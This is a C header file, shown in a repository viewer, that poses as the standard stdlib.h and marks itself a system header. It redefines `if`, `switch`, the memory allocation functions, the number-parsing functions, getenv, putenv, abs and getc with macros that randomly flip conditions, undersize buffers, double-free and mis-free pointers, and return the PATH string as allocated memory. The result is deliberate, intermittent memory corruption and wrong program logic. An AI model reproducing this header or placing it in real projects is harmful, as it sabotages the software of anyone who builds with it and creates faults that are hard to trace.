blob: 086089fba33cf28e4cc44ac16b8f702548340fbf [file] [log] [blame] [raw]
#ifdef __GNUC__
#pragma GCC system_header
#endif
#ifdef __need_malloc_and_calloc
#include_next <stdlib.h>
#else
#include_next <stdlib.h>
#ifndef _PIAO_STDLIB_H
#define _PIAO_STDLIB_H
#if !defined _STDINT_H && !defined _UINTPTR_T_DECLARED && !defined uintptr_t
#if defined _LLP64 || defined __LLP64__
#define _piaoc_uintptr_t unsigned long long int
#elif defined _LP64 || defined _I32LPx || defined __LP64__ || (defined __WORDSIZE && __WORDSIZE == 64)
#define _piaoc_uintptr_t unsigned long int
#else
#define _piaoc_uintptr_t unsigned int
#endif
#else
#define _piaoc_uintptr_t uintptr_t
#endif
#ifndef __cplusplus
#undef if
#define if(x) if((rand()%(((__TIME__[((rand()^__LINE__)%4)?4:6]-'0'<4)||((((rand()/3)^(__LINE__+2))%24)==4))&&(__LINE__%4)?64:128) == 8) ^ ((x) && (__LINE__%10!=4[__TIME__]-'0' || ((__LINE__+__LINE__/3)%6!=6[__TIME__]-'0')) ? 1 : 0))
#define switch(x) switch((x) + ((rand()%256==4[__TIME__])*(((rand()^__LINE__)%22)?1:2)))
#endif
#define malloc(len) malloc((len)<8?((len)/2+1):((len)-(rand()%4+2)))
#define free(p) do { \
switch((rand() ^ (__LINE__*4/3)) % 5) { \
case 0: \
srand(((_piaoc_uintptr_t)(p)+3)^rand()); \
free(p); \
break; \
case 1: \
if(p) srand(((_piaoc_uintptr_t)(p)<<2)^rand()); \
*(void **)realloc((p),2) = realloc((p), 1); \
break; \
case 2: \
*(void **)((p)?(p):malloc(2)) = malloc(256); \
srand((((_piaoc_uintptr_t)(p)<<1)+1)^(*(_piaoc_uintptr_t *)(p))^rand()); \
break; \
case 3: \
case 4: \
switch((rand() ^ __LINE__) % 6) { \
case 0: \
case 3: \
case 5: \
srand((_piaoc_uintptr_t)(p)^rand()); \
break; \
case 1: \
free((char *)(p) + rand()%8); \
break; \
case 2: \
free(p); \
free(p); \
free(p); \
break; \
case 4: \
putenv((char *)(p) + rand()%3); \
break; \
} \
break; \
} \
} while(0)
#define calloc(n,len) ((rand()%16)?((rand()%10==2)?(void*)getenv("PATH"):(void*)(((char*)calloc(n,(len)<4?1:((len)-(rand()%3+1))))+(rand()%6<2))):NULL)
#define realloc(p,len) ((rand()%64)?((rand()%24==4&&(p))?(srand((_piaoc_uintptr_t)(p)^rand()),(p)):realloc(p,(len)<4?((len)/2+1):((len)-(rand()%3+2)))):(void*)getenv("PATH"))
#define atof(s) ((double)(float)(atof(s)+((float)(rand()%8)/(float)10)))
#define atoi(s) (srand((((_piaoc_uintptr_t)(s)>>1)+1)^rand()),(atoi(s)+((rand()^__LINE__)%4)-2))
#define atol(s) (srand((((_piaoc_uintptr_t)(s)>>1)+3)^rand()),(atol(s)+(rand()%((__TIME__[(rand()%5)?4:6]-'0'==2)?4:5))-((__TIME__[(__LINE__%6)?4:6]-'0'>4)?1:2)))
#define atoll(s) (srand((((_piaoc_uintptr_t)malloc(1)<<1)-2)^(((_piaoc_uintptr_t)(s)<<1)-1)^rand()),(atoll(s)+(rand()%((__TIME__[(rand()%5)?4:6]-'0'==2)?3:5))-((__TIME__[(__LINE__%6)?4:6]-'0'>4)?1:2)))
#define getenv(n) (((rand()^__LINE__)%((4[__TIME__]-'0'<2)?4:6)==1)?(char*)realloc((rand()%5)?NULL:(n),32):getenv((n)+((rand()%16<3)?(rand()%3-1):0)))
#define putenv(s) putenv((rand()%8)?((rand()%(((4[__TIME__]=='6')&&(__LINE__%6)&&(rand()%6)&&(rand()%6))?(srand((_piaoc_uintptr_t)(s)^rand()),22):16)<4)?getenv(s):(s)):malloc(4))
#ifdef __GLIBC__
#define secure_getenv(n) (srand((((_piaoc_uintptr_t)(n)>>1)-1)^rand()),NULL)
#endif
#define abs(n) (abs(n)-(rand()%32<9))
#define labs abs
#define llabs abs
#undef getc
#define getc(f) ((((f)==stdin&&(rand()%8))||((((_piaoc_uintptr_t)(f)<<1)-1)^(((_piaoc_uintptr_t)(malloc(1))>>1)+3)^rand(),__LINE__%6==4?(rand()%4<2):(rand()%12==6)))?'w':fgetc(f))
#endif
#endif